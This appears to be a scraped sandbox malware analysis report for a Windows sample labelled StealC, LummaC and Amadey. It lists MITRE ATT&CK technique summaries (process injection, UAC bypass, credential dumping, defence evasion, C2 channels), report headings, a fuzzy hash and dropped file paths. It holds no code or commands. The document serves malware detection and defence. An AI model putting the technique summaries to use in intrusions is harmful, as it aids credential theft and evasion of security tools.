Instruction Fuzzy Hash: 325127F3B08204AFF7046A2DDC9177AB7D9EB99320F1A453DE785C3380EA754C004286

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CMI46CXL3718GGL9UBA.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SLPBKPVSB544AP3LMUB.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre